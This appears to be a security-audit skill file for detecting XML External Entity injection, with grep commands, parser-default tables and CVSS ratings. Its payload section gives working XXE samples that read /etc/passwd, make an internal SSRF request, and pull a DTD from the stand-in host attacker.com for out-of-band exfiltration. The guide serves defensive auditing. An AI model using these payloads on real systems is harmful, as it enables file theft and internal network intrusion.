| name | xxe |
| description | Detect XML External Entity injection where XML parsers process untrusted input with external entity loading enabled, allowing file read or SSRF. |
| metadata | {"filePattern":["**/*.js","**/*.ts","**/*.py","**/*.go","**/*.rb","**/*.php","**/*.java"],"bashPattern":["semgrep.*xxe","grep.*(XMLParser|DOMParser|SAXParser|DocumentBuilder)"],"priority":80} |
XXE Detection
When to Use
Audit XML processing endpoints, SOAP services, document importers (DOCX/XLSX/SVG), and any code that parses XML from untrusted sources.
Key Distinction from Entity Expansion
- XXE = EXTERNAL entities (
file://, http://) -- reads files or makes HTTP requests
- Entity expansion = INTERNAL entity recursion (Billion Laughs) -- memory exhaustion DoS
Both can exist in the same parser, but they are different vulnerabilities.
Process
Step 1: Find XML Parsers
# JavaScript
grep -rn "DOMParser\|XMLParser\|xml2js\|libxmljs\|xmldom\|sax\|saxes" .
# Python
grep -rn "xml\.etree\|lxml\|minidom\|xml\.sax\|defusedxml\|xmltodict" .
# Go
grep -rn "xml\.Decoder\|xml\.Unmarshal\|encoding/xml" .
# Java
grep -rn "DocumentBuilder\|SAXParser\|XMLReader\|TransformerFactory\|SchemaFactory" .
# PHP
grep -rn "simplexml\|DOMDocument\|XMLReader\|xml_parse" .
# Ruby
grep -rn "Nokogiri\|REXML\|Ox\|LibXML" .
Step 2: Check External Entity Configuration
grep -rn "FEATURE_SECURE_PROCESSING\|FEATURE_EXTERNAL_ENTITIES\|FEATURE_GENERAL_ENTITIES" .
grep -rn "resolve_entities\|external_entities\|load_external\|noent\|nonet" .
grep -rn "disallow-doctype-decl\|external-general-entities\|external-parameter-entities" .
grep -rn "XXE\|external.*entity\|doctype" .
Step 3: Check Default Safety
Most modern parsers are SAFE by default. Key exceptions:
| Parser | Default External Entities | Safe? |
|---|
| xml.etree (Python) | Enabled | UNSAFE |
| xml.sax (Python) | Enabled | UNSAFE |
| lxml (Python) | Disabled | SAFE |
| defusedxml (Python) | Disabled | SAFE |
| encoding/xml (Go) | No entity support | SAFE |
| Nokogiri (Ruby) | Disabled | SAFE |
| REXML (Ruby) | Enabled | UNSAFE |
| libxml2 (C) | Depends on flags | CHECK |
| Java DocumentBuilder | Enabled | UNSAFE |
| PHP simplexml | Depends on libxml2 config | CHECK |
| PHP DOMDocument | Depends on libxml2 config | CHECK |
Step 4: Verify User Input Reaches Parser
Does untrusted XML reach the parser? Common sources:
- File upload (XML, SVG, DOCX, XLSX)
- API request body (Content-Type: application/xml)
- Webhook payloads
- RSS/Atom feed processing
- SOAP requests
XXE Payloads
File Read
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
SSRF
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server/api/secret">
]>
<root>&xxe;</root>
Blind XXE (Out-of-Band)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<root>test</root>
CVSS Guidance
- File read (unauthenticated): HIGH 7.5
- SSRF via XXE: HIGH 7.5-8.6
- Blind XXE with OOB data exfiltration: HIGH 7.5
- Authenticated XXE: MEDIUM 6.5
References
